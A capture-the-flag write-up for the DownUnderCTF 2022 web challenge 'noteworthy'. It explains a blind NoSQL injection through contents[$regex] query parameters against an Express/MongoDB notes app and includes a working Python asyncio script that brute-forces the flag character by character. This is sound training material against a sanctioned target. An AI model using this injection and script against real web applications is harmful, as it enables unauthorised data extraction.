https://play.duc.tf/challenges#noteworthy-20
What's a beginner-friendly CTF without a totally not generic Bootstrap note taking web chall?
Author: joseph#8210
https://web-noteworthy-873b7c844f49.2022.ductf.dev
included attachment: noteworthy.tar.gz
We can first take a look at the hosted site, and find a fairly simple Bootstrap UI that lets you make an account and notes...
Let's take a look at the source code provided as well. Take a look at this part of app.js
:
let admin = await User.findOne({ username: 'admin' })
if(!admin) {
admin = new User({ username: 'admin' })
await admin.save()
}
let note = await Note.findOne({ noteId: 1337 })
if(!note) {
const FLAG = process.env.FLAG || 'DUCTF{test_flag}'
note = new Note({ owner: admin._id, noteId: 1337, contents: FLAG })
await note.save()
admin.notes.push(note)
await admin.save()
}
Straightforward; there is a note with the noteId 1337 and the goal is to access it. Of course, it's not as simple as just changing the URL...
Of course, there is authentication. My first thought was that the solution could be to log in as the admin user somehow, but the admin user has no hashed password stored.... Instead, look at routes.js
:
router.get('/edit', ensureAuthed, async (req, res) => {
let q = req.query
try {
if('noteId' in q && parseInt(q.noteId) != NaN) {
const note = await Note.findOne(q)
if(!note) {
return res.render('error', { isLoggedIn: true, message: 'Note does not exist!' })
}
if(note.owner.toString() != req.user.userId.toString()) {
return res.render('error', { isLoggedIn: true, message: 'You are not the owner of this note!' })
}
res.render('edit', { isLoggedIn: true, noteId: note.noteId, contents: note.contents })
} else {
return res.render('error', { isLoggedIn: true, message: 'Invalid request' })
}
} catch {
return res.render('error', { isLoggedIn: true, message: 'Invalid request' })
}
})
Of note (pun intended) is that there is a general error message for if the note is not found ("Note does not exist!"), and a specific error message for if the note exists but authentication fails ("You are not the owner of this note!"). In addition, the URL query string contents are not checked apart from having to contain noteId. We can exploit this.
https://web-noteworthy-873b7c844f49.2022.ductf.dev/edit?noteId=7726289592&contents=test shows off the note as usual (for me, that is):
Change the URL to https://web-noteworthy-873b7c844f49.2022.ductf.dev/edit?noteId=7726289592&contents=testing however and...
So we can check if a note has certain contents or not. But wait! This isn't helpful unless you want to bruteforce the flag, which is a bit painful.... Luckily there's another trick: the code uses MongoDB, which is vulnerable to NoSQL injection :)
const note = await Note.findOne(q)
This is vulnerable to injection as in https://www.mongodb.com/docs/manual/reference/method/db.collection.findOne/ since any query operator can be input, and express
allows objects in the query :>
$regex
will likely be useful since it lets us check character-by-character as opposed to the entire string at once, i.e. this is a blind NoSQL injection.
https://web-noteworthy-873b7c844f49.2022.ductf.dev/edit?noteId=1337&contents[$regex]=^DUCTF produces the following output:
You are not the owner of the note!
This implicitly tells us that contents[$regex]=^DUCTF
is true, as expected, since the flag format is DUCTF{...}. In contrast, if we try a different query such as https://web-noteworthy-873b7c844f49.2022.ductf.dev/edit?noteId=1337&contents[$regex]=^EWLNSLNELCCLDTLTEL ...
Note does not exist!
Hence, we can leak the contents of the note by brute-forcing the flag character by character.
import string
import aiohttp
import asyncio
async def fetch(url, fuzz, session):
full_url = url + fuzz
async with session.get(full_url) as response:
r = await response.read()
return b"owner of" in r
async def _search(url, charset):
async with aiohttp.ClientSession() as session:
session.cookie_jar.update_cookies({"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2MzJlY2Y3ZTkwODhjYzMxNWI3MDVkOTMiLCJpYXQiOjE2NjQwOTMxODgsImV4cCI6MTY2NDY5Nzk4OH0.McmlCp_zuyecsEwmfVA-ZMNPIVETu9UAfbj9vmn5hAg"})
negative = await fetch(url, "FUZZ", session)
print(negative)
found = "DUCTF"
while True:
tasks = []
for char in charset:
task = asyncio.ensure_future(fetch(url, found + char, session))
tasks.append(task)
responses = await asyncio.gather(*tasks)
for i, x in enumerate(responses):
if x != negative:
found += charset[i]
print(found[-100:])
break
else:
print("Not found")
break
def search(url, charset=string.ascii_letters + string.digits + "{}?~$"):
loop = asyncio.new_event_loop()
loop.run_until_complete(_search(url, charset))
if __name__ == '__main__':
charset = "01357etoanihsrdluc24689gwyfmbkvjxqz_ETOANIHSRDLUCGWYFMBKVJXQZ{}"
search(
"https://web-noteworthy-873b7c844f49.2022.ductf.dev/edit?noteId=1337&contents[$regex]=^", charset)
A point to note: Since the site redirects users that are not logged in to the home page, setting the cookies is required.
DUCTF{n0sql1_1s_th3_new_5qli}
So true.
Many thanks to jro for helping me with this challenge :>